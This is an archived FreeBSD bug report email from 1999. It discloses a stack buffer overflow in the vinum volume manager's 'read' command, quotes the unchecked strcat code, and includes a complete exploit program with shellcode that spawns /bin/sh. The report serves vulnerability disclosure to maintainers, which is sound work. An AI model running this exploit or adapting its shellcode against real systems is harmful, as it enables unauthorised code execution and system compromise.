Skip site navigation (1)Skip section navigation (2)
Date:      Wed,  3 Nov 1999 16:04:41 -0800 (PST)
From:      kienow@infinet.com
To:        freebsd-gnats-submit@freebsd.org
Subject:   bin/14697: Exploitable buffer overflow in Vinum (FreeBSD 3.3-STABLE, others?)
Message-ID:  <19991104000441.7939C15661@hub.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         14697
>Category:       bin
>Synopsis:       Exploitable buffer overflow in Vinum (FreeBSD 3.3-STABLE, others?)
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Wed Nov  3 16:10:02 PST 1999
>Closed-Date:
>Last-Modified:
>Originator:     Matthew
>Release:        FreeBSD 3.3-STABLE
>Organization:
>Environment:
>Description:
The other day I discovered that Vinum on FreeBSD 3.3-STABLE is
vulnerable to a buffer overflow.  I am not sure of any other versions
of FreeBSD having this same vulnerability, but I assume from 3.0 - 3.3
this exists because vinum was added into FreeBSD 3.0 .

The vulnerability exists in the routine that handles the 'read'
command.

$ man vinum
.  .  .
read disk [disk...]
               Read the vinum configuration from the specified disks.
.  .  .

The vinum_read routine is found in the commands.c located in the
/usr/src/sbin/vinum/ directory.
--------------------------------
.  .  .
165: void
166: vinum_read(int argc, char *argv[], char *arg0[])
167: {
168:     int error;
169:     char buffer[BUFSIZE];    // read config file in here
170:     struct _ioctl_reply *reply;
171:     int i;
172:
173:     reply = (struct _ioctl_reply *) &buffer;
174:     if (argc < 1) {     // wrong arg count
175:     fprintf(stderr, "Usage: read drive [drive ...]\n");
176:     return;
177:     }
178:     strcpy(buffer, "read ");
179:     for (i = 0; i < argc; i++) {          // each drive name
180:     strcat(buffer, argv[i]);
181:     strcat(buffer, " ");
182:     }
 .  .  .
--------------------------------
The vulnerable code is on line 180, where strcat is used to copy data
from the command line into buffer.  Since strcat does not perform any
boundary checking on the data being copied into buffer, the buffer can
be overrun.
Next, how big is this buffer?  BUFSIZE is defined in the vinumio.h
located in the /usr/src/sys/dev/vinum/ directory.  Now we know that
BUFSIZE is 1024 bytes and thus buffer can hold 1024 bytes, so we will
try to overrun it by 100 bytes.  After a little toying around we find
that an offset of -405, will give us the address of 0xbfbfde3d and an
eggsize of 4096, will give us our shell. (depending upon the shell code used)

By default vinum is not SETUID, so I assume it doesn't prove to be
an immediate danger.  But under other circumstances it might prove
a greater danger?  Sorry this is the first hole I have discovered,
so I am learning.    ;)



--------- CUT HERE ---------
/*
 * vinum_exploit.c
 *
 * Vinum (Logical Volume Manager control program) exploit discovered by
 * Matthew Kienow (kienow@infinet.com) on Tuesday November 2, 1999.
 * Vinum is vulnerable on FreeBSD 3.3-STABLE, I am not sure of any
others,
 * because I do not have access to any other computers running FreeBSD
at
 * this time.  But I assume from 3.0 - 3.3 this exists because vinum
was
added
 * into FreeBSD 3.0 .
 * Note: You should not have to run this program with any arguments,
because
 *           everything is set as default.
 *
 * Thanks to Aleph One for his paper 'Smashing The Stack For Fun And
Profit'.
 * This code is just a modified version of exploit4.c from 'Smashing
The
Stack For Fun And Profit'.
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 -405
#define DEFAULT_BUFFER_SIZE            1124
#define DEFAULT_EGG_SIZE               4096
#define NOP                            0x90

char shellcode[]= /* mudge@lopht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("-***] Using address: 0x%x\t offset: %d\t egg:%d\n\n", addr,
offset, eggsize);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/sbin/vinum read $RET");

}
--------- CUT HERE ---------
>How-To-Repeat:

>Fix:


>Release-Note:
>Audit-Trail:
>Unformatted:


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19991104000441.7939C15661>